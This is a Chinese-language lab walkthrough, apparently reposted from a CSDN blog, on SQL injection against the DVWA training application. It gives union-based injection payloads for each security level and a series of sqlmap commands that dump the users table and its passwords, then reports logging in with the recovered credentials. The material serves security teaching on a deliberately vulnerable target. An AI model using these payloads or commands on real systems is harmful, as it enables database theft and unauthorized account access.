标签：回显 查看 -- Submit DVWA SQL security id users
SQL Injection（回显注入）
目录：
注入思路：
是否有注入？是字符型还是数字型？查看回显位
1. Low
源码关键语句
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
通过查询语句可以看到，它是根据限制user_id字段来回显数据的，
我们的可控位置就是$id这个变量
可以通过单引号闭合，然后通过#注释掉之后的语句来实现sql注入
例如
$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘1’ union select user,password from users #’;”;
获取表长度
1’ order by n #
获取当前数据库
-1’ union select database(),version() #
查询database里的表名
information_schema是信息数据库，其中保存着关于mysql服务器所维护的所有其他数据库的信息。
-1’ union select 1,table_name COLLATE utf8_general_ci from information_schema.tables where table_schema=database() #
查询users里的列名
-1’ union select 1,column_name COLLATE utf8_general_ci from information_schema.columns where table_name=‘users’ #
查看字段数据
-1’ union select user,password from users #
2.Medium
只能选择固定的几个数字
添加了mysqli_real_escape_string() 函数，过滤了一些特殊字符
查看源码发现是数字型注入
可以用burp抓包，在burp里注入
burp重复Low级的操作，但是注意是数字型数据，所以不要用单引号闭合
3. High
多了LIMIT 1，SELECT只能执行一条查询语句。
绕过非常简单，只要#注释掉后面的语句就行了。
在搜索框或者burp实行和Low级别一样的操作就行了。
4.Impossible
只能输入数字，不可能产生注入。
5.运用sqlmap自动化注入
1.查看信息
首先-u指定可能存在url注入的url地址，然后–cookie指定cookie值
python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low"
结果：
可以查看到靶机的一些信息。
2.查看数据库名
–dbs参数代表查看存在的数据库名
python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" --dbs
结果：
3.查看表名
-D指定数据库名为dvwa，–tables查看表名
python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa --tables
结果：
user表明显是存放用户数据的表，所以下一步查看此表数据
4.查看字段名
-T指定表名，–columns 查看字段名
python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa -T users --columns
结果：
可以查看存在password字段
5.查看字段数据
-C指定查看的字段名，–dump查看字段数据
python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa -T users -C "user,password" --dump
结果：
登录
尝试拿获取的数据登录
登陆成功,用户名为gordonb
标签：回显,查看,--,Submit,DVWA,SQL,security,id,users 来源： https://blog.csdn.net/weixin_49125123/article/details/122031697
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。